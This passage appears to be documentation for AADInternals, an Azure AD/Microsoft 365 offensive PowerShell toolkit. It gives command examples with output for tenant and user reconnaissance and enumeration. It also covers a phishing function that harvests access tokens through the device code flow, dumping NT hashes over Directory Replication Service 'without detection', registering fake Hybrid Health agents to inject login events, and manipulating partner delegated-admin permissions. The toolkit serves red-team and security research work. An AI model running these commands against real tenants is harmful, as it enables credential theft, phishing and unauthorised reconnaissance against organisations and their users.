Get-AADIntHybridHealthServiceMembers (AC)
Since version 0.5.0
Gets ADHybridHealthService members
Example:
# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# List the service members
Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com" | ft machineName,serviceMemberIdOutput:
machineName serviceMemberId
----------- ---------------
SERVER bec07a23-dd4a-4c80-8c92-9b9dc089f75c
PROXY e4d72022-a268-4167-a964-1899b8baeaa5
Remove-AADIntHybridHealthServiceMember (AC)
Since version 0.5.0
Removes a ADHybridHealthService member
Example:
# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Remove service member
Remove-AADIntHybridHealthServiceMember -ServiceName "AdFederationService-sts.company.com" -ServiceMemberId 329485ce-9b5b-4652-ba72-acc41a455e92Get-AADIntHybridHealthServiceMonitoringPolicies (AC)
Since version 0.5.0
Gets ADHybridHealthService monitoring policies.
Example:
# Get an access token and save it to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# List the monitoring policies
Get-AADIntHybridHealthServiceMonitoringPoliciesOutput:
serviceType : AdFederationService
serviceId : 74b6a260-67a3-43ac-922f-ec7afe19649c
serviceMemberId : 52f7c09f-e6a4-41ff-b328-bb6a182e1aca
monitoringConfigurations : {@{key=AadPremium; value=True}, @{key=MonitoringLevel; value=Full}}
propertiesExtractorClassName : Microsoft.Identity.Health.Adfs.DataAccess.DataManager, Microsoft.Identity.Health.Adfs.DataAccess
dimensionTableEntityClassNameList :
roleType : AdfsServer_2016
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=adfs; properties=}, @{agentService=ConnectorAgent; moduleName=PowerShellCmdletMonitor; properties=}}
serviceType : AadSyncService
serviceId : 4ce7a4dd-0269-4ae1-a92c-88f381f11a33
serviceMemberId : fa657e9b-b609-470c-aa6a-9922d9f37e49
monitoringConfigurations : {@{key=MonitoringLevel; value=Off}, @{key=StagingMode; value=False}, @{key=ConfigurationUploadInterval; value=240}, @{key=RunProfileResultUploadInterval; value=30}...}
propertiesExtractorClassName : Microsoft.Identity.Health.AadSync.DataAccess.DataManager, Microsoft.Identity.Health.AadSync.DataAccess
dimensionTableEntityClassNameList :
roleType : AadSync_AadConnectSync_1.0
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=aadsync; properties=}}
Get-AADIntHybridHealthServiceAgentInfo 😈
Since version 0.5.0
Gets ADHybridHealthService agent information from the local computer.
Example:
# Get agent information
Get-AADIntHybridHealthServiceAgentInfoAgentKey : 6Fk9SiL[redacted]Hw==
TenantId : 5d898b21-4478-4ee0-a2be-ad4dfb540b09
ServiceId : 59f626ab-92cd-4658-b12f-12a604f5f1c2
ServiceMemberId : 0bfc0715-1ed2-44c7-89ec-bf7842cc4575
MachineId : 279a0323-4647-494c-ac3a-fc13545f3c33
Send-AADIntHybridHealthServiceEvents
Since version 0.5.0
Sends the given AD FS log-in events to Azure using ADHybridHealthService protocols.
Example:
# Create an empty array
$events = @()
# Add new event(s) to the array
$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
# Get the agent information from the local AD FS server or proxy
$agentInfo = Get-AADIntHybridHealthServiceAgentInfo
# Send the events
Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events New-AADIntHybridHealtServiceEvent (AC)
Since version 0.5.0
Creates a new ADHybridHealthService event with the given parameters.
Example:
# Create an empty array
$events = @()
# Add new event(s) to the array
$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
# Get the agent information from the local AD FS server or proxy
$agentInfo = Get-AADIntHybridHealthServiceAgentInfo
# Send the events
Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events Register-AADIntHybridHealthServiceAgent (AC)
Since version 0.5.0
Creates a new ADHybridHealthService
Example:
# List the service names
Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceNameserviceName
-----------
AdFederationService-sts.company.com
AdFederationService-sts.fake.myo365.site
# Register a new AD FS server
Register-AADIntHybridHealthServiceAgent -ServiceName "AdFederationService-sts.company.com" -MachineName "ADFS01" -MachineRole AdfsServer_2016Agent info saved to "AdFederationService-sts.company.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.json"
Client sertificate saved to "AdFederationService-sts.company.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.pfx"
Kill chain functions
These functions are part of AAD & M365 Kill Chain.
Invoke-AADIntReconAsOutsider
Since version 0.4.0
Starts tenant recon of the given domain. Gets all verified domains of the tenant and extracts information such as their type.
Also checks whether Desktop SSO (aka Seamless SSO) is enabled for the tenant.
| Value | Description |
|---|---|
| DNS | Does the DNS record exists? |
| MX | Does the MX point to Office 365? |
| SPF | Does the SPF contain Exchange Online? |
| Type | Federated or Managed |
| DMARC | Is the DMARC record configured? |
| DKIM | Is the DKIM record configured? |
| MTA-STS | Is the MTA-STS recored configured? |
| STS | The FQDN of the federated IdP’s (Identity Provider) STS (Security Token Service) server |
| RPS | Relaying parties of STS (AD FS). Requires -GetRelayingParties switch. |
Example 1:
# Invoke tenant recon as an outsider
Invoke-AADIntReconAsOutsider -Domain "company.com" | Format-TableOutput:
Tenant brand: Company Ltd
Tenant name: company
Tenant region: USGov
Tenant sub region: DODCON
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
MDI instance: company.atp.azure.com
DesktopSSO enabled: False
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
Example 2:
# Invoke tenant recon as an outsider using a known user name to show CBA status
Invoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-TableOutput:
Tenant brand: Company Ltd
Tenant name: company
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
DesktopSSO enabled: False
MDI instance: company.atp.azure.com
CBA enabled: True
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
Example 3:
# Invoke tenant recon and get relaying trust parties
Invoke-AADIntReconAsOutsider -Domain "company.com" -GetRelayingParties | Format-TableOutput:
Tenant brand: Company Ltd
Tenant name: company
Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3
Tenant region: NA
DesktopSSO enabled: False
Name DNS MX SPF DMARC DKIM MTA-STS Type STS
---- --- -- --- ----- ---- ------- ---- ---
company.com True True True True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True True True False Managed
company.onmicrosoft.com True True True False True False Managed
int.company.com False False False False True False Managed
Invoke-AADIntUserEnumerationAsOutsider
Since version 0.4.0
Checks whether the given user exists in Azure AD or not. Works also with external users! Supports three enumeration methods:
| Method | Description |
|---|---|
| Normal | Uses GetCredentialType endpoint to query user information |
| Login | Tries to log in to Azure AD using oauth2 endpoint |
| Autologon | Tries to log in to Azure AD using autologon endpoint |
| RST2 | Tries to log in to Azure AD using RST2 endpoint |
Returns $True or $False if existence can be verified and empty if not.
Example 1:
# Invoke user enumeration as an outsider
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"Output:
UserName Exists
-------- ------
user@company.com True
Example 2:
# Invoke user enumeration as an outsider using a text file
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsiderOutput:
UserName Exists
-------- ------
user@company.com True
user2@company.com False
user@company.net
external.user_gmail.com#EXT#@company.onmicrosoft.com True
external.user_outlook.com#EXT#@company.onmicrosoft.com False
Example 3:
# Invoke user enumeration as an outsider using a text file with Login method
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method LoginOutput:
UserName Exists
-------- ------
user@company.com True
user2@company.com False
user@company.net True
external.user_gmail.com#EXT#@company.onmicrosoft.com True
external.user_outlook.com#EXT#@company.onmicrosoft.com False
Example 4:
# Invoke user enumeration as an outsider with Autologon method
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com","user2@company.com" -Method AutologonOutput:
UserName Exists
-------- ------
user@company.com True
user2@company.com False
Invoke-AADIntReconAsGuest (AC)
Since version 0.4.0
Starts tenant recon of Azure AD tenant. Prompts for tenant. Retrieves information from Azure AD tenant, such as, the number of Azure AD objects and quota, and the number of domains (both verified and unverified).
Example 1:
# Get access token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Invoke tenant recon as guest
$results = Invoke-AADIntReconAsGuestOutput:
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Azure AD objects: 520/500000
Domains: 6 (4 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
# Show users allowed actions
$results.allowedActionsapplication : {read}
domain : {read}
group : {read}
serviceprincipal : {read}
tenantdetail : {read}
user : {read, update}
serviceaction : {consent}
Example 2:
# Get access token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# List Azure tenants the user has access to
Get-AADIntAzureTenantsOutput:
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
# Get a new access token for the specific tenant in case of MFA is required
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
# Invoke tenant recon as guest
$results = Invoke-AADIntReconAsGuestTenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Azure AD objects: 520/500000
Domains: 6 (4 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
# Show users allowed actions
$results.allowedActionsapplication : {read}
domain : {read}
group : {read}
serviceprincipal : {read}
tenantdetail : {read}
user : {read, update}
serviceaction : {consent}
Invoke-AADIntUserEnumerationAsGuest (AC)
Since version 0.4.0
Crawls the target organisation for user names, groups, and roles. The starting point is the signed-in user, a given username, or a group id.
The crawl can be controlled with switches. Group members are limited to 1000 entries per group.
| Switch | Description |
|---|---|
| Groups | Include user’s groups |
| GroupMembers | Include members of user’s groups |
| Roles | Include roles of user and group members. Can be very time consuming! |
| Manager | Include user’s manager |
| Subordinates | Include user’s subordinates (direct reports) |
Parameters:
| Parameter | Description |
|---|---|
| UserName | User principal name (UPN) of the user to search. If not given, the user name from the access token is used and treated as external (email_domain#EXT#@company.onmicrosoft.com) |
| GroupId | Id of the group. If this is given, only the members of the group are included. |
Example:
# Invoke user enumeration as a guest
$results = Invoke-AADIntUserEnumerationAsGuest -UserName "user@company.com"Output:
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Logged in as: live.com#user@outlook.com
Users: 5
Groups: 2
Roles: 0
Example 2:
# Invoke user enumeration as an outsider using a text file
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsiderOutput:
UserName Exists
-------- ------
user@company.com True
user2@company.com False
external.user_gmail.com#EXT#@company.onmicrosoft.com True
external.user_outlook.com#EXT#@company.onmicrosoft.com False
Invoke-AADIntReconAsInsider (AC)
Since version 0.4.0
Starts tenant recon of Azure AD tenant.
Example 1:
# Get access token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Invoke tenant recon as guest
$results = Invoke-AADIntReconAsInsiderOutput:
Tenant brand: Company Ltd
Tenant name: company.onmicrosoft.com
Tenant id: 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
Tenant SKU: E3
Azure AD objects: 520/500000
Domains: 6 (4 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Directory sync enabled? true
Global admins 3
# List all admin roles that have members
$results.roleInformation | Where Members -ne $null | select Name,MembersName Members
---- -------
Company Administrator {@{DisplayName=MOD Administrator; UserPrincipalName=admin@company.onmicrosoft.com}, @{D...
User Account Administrator @{DisplayName=User Admin; UserPrincipalName=useradmin@company.com}
Directory Readers {@{DisplayName=Microsoft.Azure.SyncFabric; UserPrincipalName=}, @{DisplayName=MicrosoftAzur...
Directory Synchronization Accounts {@{DisplayName=On-Premises Directory Synchronization Service Account; UserPrincipalName=Syn...
Invoke-AADIntUserEnumerationAsInsider (AC)
Since version 0.4.0
Dumps user names and groups of the tenant.
By default, the first 1000 users and groups are returned.
| Switch | Description |
|---|---|
| Groups | Include groups |
| GroupMembers | Include members of the groups (not recommended) |
Parameters:
| Parameter | Description |
|---|---|
| GroupId | Id of the group. Id of the group. If this is given, only one group and members are included. |
Example:
# Invoke user enumeration as a insider
$results = Invoke-AADIntUserEnumerationAsInsiderOutput:
Users: 5542
Groups: 212
# List the first user's information
$results.Users[0]Output:
id : 7ab0eb51-b7cb-4ff0-84ec-893a413d7b4a
displayName : User Demo
userPrincipalName : User@company.com
onPremisesImmutableId : UQ989+t6fEq9/0ogYtt1pA==
onPremisesLastSyncDateTime : 2020-07-14T08:18:47Z
onPremisesSamAccountName : UserD
onPremisesSecurityIdentifier : S-1-5-21-854168551-3279074086-2022502410-1104
refreshTokensValidFromDateTime : 2019-07-14T08:21:35Z
signInSessionsValidFromDateTime : 2019-07-14T08:21:35Z
proxyAddresses : {smtp:User@company.onmicrosoft.com, SMTP:User@company.com}
businessPhones : {+1234567890}
identities : {@{signInType=userPrincipalName; issuer=company.onmicrosoft.com; issuerAssignedId=User@company.com}}
Invoke-AADIntPhishing
Since version 0.4.4
Sends phishing mail to given recipients and receives user’s access token using device code authentication flow.
The sent message is an html message. Uses string formatting to insert url and user code:
| Placeholder | Value |
|---|---|
| {0} | user code |
| {1} | signing url |
Default message:
'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'
Email:
Teams:
Example1:
# Send a phishing email to a recipient using the default message
$tokens = Invoke-AADPhishing -Recipients "wvictim@company.com" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.localOutput1:
Code: CKDZ2BURF
Mail sent to: wvictim@company.com
...
Received access token for william.victim@company.com
Example2:
# Get access token for teams
Get-AADIntAccessTokenForTeams -SaveToCache
# Send a teams message to a recipient using the default message
$tokens = Invoke-AADPhishing -Recipients "wvictim@company.com" -TeamsOutput2:
Code: CKDZ2BURF
Teams message sent to: wvictim@company.com. Message id: 132473151989090816
...
Received access token for william.victim@company.com
Example3:
# Send a phishing email to recipients using a customised message and save the tokens to cache
Invoke-AADPhishing -Recipients "wvictim@company.com","wvictim2@company.com" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <jc@somewhere.com>" -SMTPServer smtp.myserver.local -Message '<html>Hi!<br>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>' -SaveToCache Code: CKDZ2BURF
Mail sent to: wvictim@company.com
Mail sent to: wvictim2@company.com
...
Received access token for william.victim@company.com
# Invoke the recon as an insider
$results = Invoke-AADIntReconAsInsiderOutput3:
Tenant brand: company.com
Tenant name: company.onmicrosoft.com
Tenant id: d4e225d6-8877-4bc6-b68c-52c44011ba81
Azure AD objects: 147960/300000
Domains: 5 (5 verified)
Non-admin users restricted? True
Users can register apps? True
Directory access restricted? False
Directory sync enabled? true
Global admins 10
DRS functions
Get-AADIntAdUserNTHash (*) 😈
Since version 0.4.7
Gets NTHash for the given object ID using Directory Replication Service (DRS).
Example:
# Get the credentials with replication rights
$cred = Get-Credential
# Get the photo
$NTHash = Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server "dc.company.com"Get-AADIntADUserThumbnailPhoto (*) 😈
Since version 0.4.7
Gets thumbnailPhoto for the given object ID using Directory Replication Service (DRS). Can be used to access ADFS KDS container without detection.
Example:
# Get the credentials with replication rights
$cred = Get-Credential
# Get the photo
$photo = Get-AADIntADUserThumbnailPhoto -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server "dc.company.com"Get-AADIntDesktopSSOAccountPassword (*) 😈
Since version 0.4.7
Gets NTHash of Desktop SSO account using Directory Replication Service (DRS).
Example:
# Get the credentials with replication rights
$cred = Get-Credential
# Get the photo
$NTHash = Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server "dc.company.com"MS Partner functions
New-AADIntMSPartnerDelegatedAdminRequest (*)
Since version 0.6.5
Creates a new delegated admin request for the given MS partner organisation.
The returned url can be used by customers to accept the partner request.
Example 1:
# Create the delegated admin request for the given partner domain
New-AADIntMSPartnerDelegatedAdminRequest -Domain company.comOutput:
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
Example 2:
# Create the delegated admin request for the given partner tenant
New-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9Output:
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
Approve-AADIntMSPartnerDelegatedAdminRequest (AD)
Since version 0.6.5
Assigns Delegated Admin Permissions (DAP) for the given partner organisation. Requires Global Admin permissions.
Example 1:
# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache
# Assign DAP for the given partner
Approve-AADIntMSPartnerDelegatedAdminRequest -Domain company.comOutput:
responseCode message
------------ -------
success
Example 2:
# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache
# Assign DAP for the given partner
Approve-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9Output:
responseCode message
------------ -------
success
Remove-AADIntMSPartnerDelegatedAdminRoles (AD)
Since version 0.6.5
Removes Delegated Admin Permissions (DAP) from the given partner organisation. Requires Global Admin permissions.
Example 1:
# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache
# Remove DAP from the given partner
Remove-AADIntMSPartnerDelegatedAdminRoles -Domain company.comOutput:
responseCode message
------------ -------
success
Example 2:
# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache
# Remove DAP from the given partner
Remove-AADIntMSPartnerDelegatedAdminRoles -TenantId c7e52a77-e461-4f2e-a652-573305414be9Output:
responseCode message
------------ -------
success
Get-AADIntMSPartners (AD)
Since version 0.6.5
Shows organisation’s partners using Admin API. Requires permissions to Microsoft 365 admin center.
Example:
# Get access token and save to cache
Get-AADIntAccessTokenForAdmin -SaveToCache
# List the partners
Get-AADIntMSPartnersOutput:
Identity : b1f6d5cc-f1d3-41d9-b88c-1d177aaf171b
DisplayName : Partner Ltd
Email : pmanager@company.com
Website : http://www.company.com
Phone : +1234567890
Relationship : Indirect Reseller and Admin
TypeDetail : PartnerAdmin
CanDelete : False
CanRemoveDap : True
AllDataRetrieved : True
Get-AADIntMSPartnerOrganizations (MP)
Since version 0.6.5
Lists partner organisations of the logged in user. Does not require permissions to MS Partner Center.
Example:
# Get access token and save to cache
Get-AADIntAccessTokenForMSPartner -SaveToCache
# List the partner organisations
Get-AADIntMSPartnerOrganizationsOutput:
id : 9a0c7346-f305-4646-b3fb-772853f6b209
typeName : Tenant
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559543
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
id : 60a0020f-bd16-4f27-a23c-104644918834
typeName : PartnerGlobal
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559542
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
id : 297588a4-5c2a-430e-ae1e-b16c5d944a7d
typeName : PartnerLocation
name : Partner Ltd, US, PARTNERVILLE
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559543
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
Get-AADIntMSPartnerRoleMembers (MP)
Since version 0.6.5
Lists MS Partner roles and their members. Does not require permissions to MS Partner Center.
Example:
# Get access token and save to cache
Get-AADIntAccessTokenForMSPartner -SaveToCache
# List the partner roles and members
Get-AADIntMSPartnerRoleMembers Output:
Id Name Members
-- ---- -------
0e7f236d-a3d8-458a-bd49-eaf200d12cd5 Admin Agent {@{displayName=Admin; userPrincipalNa...
082cc3a5-2eff-4274-8fe1-ad5b4387ef55 Helpdesk Agent {@{displayName=User; userPrincipalN...
6b07cbb3-16e4-453a-82f4-7a4310c21bc9 MPN Partner Administrator @{displayName=User 1; userPrincipalN...
e760e836-1c2d-47d2-9dee-92131ce57878 Report Viewer
9ac2b88b-6fad-416c-b849-433f8090de68 Executive Report Viewer @{displayName=User 2; userPrincipalN...
B53FEC78-7449-4A46-A071-C8BEF4A45134 Account Admin
8d3c7e52-447f-4cfd-9b50-1e4dd00495b7 Cosell Solution Admin
0a28a37c-ec3a-462a-a87b-c409abbdba68 Incentive Administrator
f712b351-0d8f-4051-a374-0abab5a49b5b Incentive User
140c97a7-ab21-4c2f-8f3b-9086898de0d5 Incentive Readonly User
3d8005f3-1d34-4191-9969-b6da64b83777 Marketing Content Administrator
4b38bcd9-a505-445b-af32-06c05aaeddd7 Referrals Administrator
2d9bb971-5414-4bc7-a826-079da1fa0c93 Referrals User
Get-AADIntMSPartnerContracts (A)
Since version 0.6.5
Lists partner’s customer organisations using provisioning API. Does not require permissions to MS Partner Center or admin rights.
Example:
# Get access token and save to cache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# List the partner's customer organisations
Get-AADIntMSPartnerContractsOutput:
CustomerName CustomerTenantId CustomerDefaultDomain ContractType
------------ ---------------- --------------------- ------------
Company dad33f16-69d1-4e32-880e-9c2d21aa3e59 company.com SupportPartnerContract
Contoso 936b7883-4746-4b89-8bc4-c8128795cd7f contoso.onmicrosoft.com ResellerPartnerContract
Adatum 17427dcd-8d61-4c23-9c68-d1f34975b420 adatum.com SupportPartnerContract
Find-AADIntMSPartners
Since version 0.6.6
Finds MS Partners using the given criteria.
Example:
# Find the first 20 partners from Finland
Find-AADIntMSPartners -Country FI -MaxResults 20 | Sort CompanyNameOutput:
Estimated total matches: 511
TenantId CompanyName Country Address
-------- ----------- ------- -------
6f28e5b8-67fe-4207-a048-cc17b8e13499 Addend Analytics LLP FI @{country=FI; region=Europe; city=Espoo; st...
12f4ed76-f694-4b1e-9b57-c3849eea3f6c CANORAMA OY AB FI @{country=FI; region=Europe; city=Kokkola; ...
4521e161-50d6-4596-a921-2783741fda32 Cloud2 Oy FI @{country=FI; region=Europe; city=Helsinki;...
bff3224c-767a-4628-8c53-23a4df13a03c CloudNow IT Oy FI @{country=FI; region=Europe; city=Espoo; ad...
719dc930-9d0e-4ea4-b53e-a2c65a625979 Cloudriven Oy FI @{country=FI; region=Europe; city=Helsinki;...
6f1ff46b-bd45-422f-ad28-485c03cd59fc Cubiq Analytics Oy FI @{country=FI; region=Europe; city=Helsinki;...
6fce4bb8-3501-41c9-afcc-db0fb51c7e3d Digia FI @{country=FI; region=Europe; city=Tampere; ...
b3233d42-4a7e-441a-b94c-8fc0ff30af40 Etteplan MORE Oy FI @{country=FI; region=Europe; city=Helsinki;...
87fc9aba-de47-425e-b0ac-712471cbb34f Fujitsu Limited FI @{country=FI; region=Europe; city=Helsinki;...
4b4e036d-f94b-4209-8f07-6860b3641366 Gofore Oyj FI @{country=FI; region=Europe; city=Helsinki;...
4eee4718-7215-41bf-b130-25ce43c85b33 Henson Group FI @{country=FI; region=Europe; city=Tampere; ...
7c0c36f5-af83-4c24-8844-9962e0163719 Hexaware Technologies FI @{country=FI; region=Europe; city=Helsinki;...
99ebba89-0dd9-4b7b-8f23-95339d2a81e1 IBM FI @{country=FI; region=Europe; city=Helsinki;...
1c8672ad-d9cc-4f59-b839-90be132d96ab IFI Techsolutions Pvt Ltd FI @{country=FI; region=Europe; city=Finland; ...
1e3ee4c0-94a9-45a4-9151-07e1858e6372 InlineMarket Oy FI @{country=FI; region=Europe; city=Helsinki;...
431fbbea-8544-49f8-9891-e8a4e4756e83 Medha Hosting (OPC) Ltd FI @{country=FI; region=Europe; city=Helsinki;...
04207efa-4522-4391-a621-5708a40b634d MPY Yrityspalvelut Oyj FI @{country=FI; region=Europe; city=Kuopio; a...
8c467c92-8e59-426e-a612-e23d69cb4437 Myriad Technologies FI @{country=FI; region=Europe; city=Helsinki;...
50950a2d-dde4-4887-978d-630468d7f741 Solteq Plc FI @{country=FI; region=Europe; city=Jyväskylä...
eab8b88b-cf1a-441a-9ad9-6a8d94dcccbb Solu Digital Oy FI @{country=FI; region=Europe; city=ESPOO; ad...
OneNote functions
Start-AADIntSpeech (ON)
Since version 0.6.7
Gets mp3 stream of the given text using learning tools API and plays it with Media player.
The returned url can be used by customers to accept the partner request.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForOneNote -SaveToCache
# Play the audio
Start-AADIntSpeech -Text "Three Swedish switched witches watch three Swiss Swatch watch switches. Which Swedish switched witch watch which Swiss Swatch watch switch?" -Language "en-GB" -PreferredVoice MaleCertificate Based Authentication (CBA)
Proof-of-concept functions to get access tokens using CBA.
Get-AADIntAdminPortalAccessTokenUsingCBA
Since version 0.6.9
Gets Access Tokens using Certificate Based Authentication (CBA). Returns tokens for Portal and Business Store. Assumes that CN of the given certificate contains upn with domain name.
# Get tokens
$tokens = Get-AADIntAdminPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password"Logged in as user@company.com
# Show the token information
Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | flaud : https://portal.office.com/
iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/
appid : 00000006-0000-0ff1-ce00-000000000000
amr : {rsa, mfa}
Get-AADIntPortalAccessTokenUsingCBA
Since version 0.6.9
Gets Access Tokens using Certificate Based Authentication (CBA). Returns tokens for Graph, Office search, Substrate, Loki, and Portal Assumes that CN of the given certificate contains upn with domain name.
# Get tokens
$tokens = Get-AADIntPortalAccessTokenUsingCBA -PfxFileName .\my_cert.pfx -PfxPassword "my supersecret password"Logged in as user@company.com
# Show the token information
Read-AADIntAccesstoken $tokens[0] | Select aud,iss,appid,amr | flaud : https://graph.microsoft.com
iss : https://sts.windows.net/25dc721a-d37f-44ec-b8dc-cc5783e9ec56/
appid : 4765445b-32c6-49b0-83e6-1d93765276ca
amr : {rsa, mfa}
Access Package functions
Get-AADIntAccessPackages (AP)
Since version 0.8.2
Returns access packages.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAccessPackages -Tenant company.com -SaveToCache
# Get Access Packages
Get-AADIntAccessPackagesOutput:
id : df9513b4-1686-4434-8c37-cbfaeea51b69
catalogId : 755780b3-9228-4cf6-8919-732c6f0ff026
displayName : Visitors
description : Access package for Visitors
isHidden : False
isRoleScopesVisible : False
createdBy : johnd@company.com
createdByString : johnd@company.com
createdDateTime : 2022-01-02T10:20:44.247Z
modifiedBy : johnd@company.com
lastModifiedByString : johnd@company.com
modifiedDateTime : 2022-01-02T10:20:44.247Z
lastModifiedDateTime : 2022-01-02T10:20:44.247Z
lastCriticalModificationDateTime :
lastSuccessfulChangeEvaluationDateTime :
Get-AADIntAccessPackageCatalogs (AP)
Since version 0.8.2
Returns access package catalogs.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAccessPackages -Tenant company.com -SaveToCache
# Get Access Package Catalogs
Get-AADIntAccessPackageCatalogsOutput:
id : 755780b3-9228-4cf6-8919-732c6f0ff026
displayName : Visitors
description : Catalog for visitors
catalogType : UserManaged
catalogStatus : Published
state : published
isExternallyVisible : True
createdBy : johnd@company.com
createdByString : johnd@company.com
createdDateTime : 2022-01-02T10:20:44.247Z
modifiedBy : johnd@company.com
lastModifiedByString : johnd@company.com
modifiedDateTime : 2022-01-02T10:20:44.247Z
lastModifiedDateTime : 2022-01-02T10:20:44.247Z
Get-AADIntAccessPackageAdmins (AP)
Since version 0.8.2
Returns administrators from access package and access package catalog createdBy and modifiedBy fields.
The returned administrators are Global Administrators, User Administrators (until May 5 2023), or Identity Governance Administrators (since May 2023).
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForAccessPackages -Tenant company.com -SaveToCache
# Get Access Package administratrators
Get-AADIntAccessPackageAdminsOutput:
Acheaduncompany.com
Alexaneoscompany.com
Andownlocompany.com
Anselowslcompany.com
Babergencompany.com
Bethportcompany.com
Brangelocompany.com
Caranteecompany.com
Chmenscompany.com
Conneytrcompany.com
Crofficompany.com
Diumficompany.com
Downtichocompany.com
Getacewedcompany.com
B2C functions
Get-AADIntB2CEncryptionKeys (M)
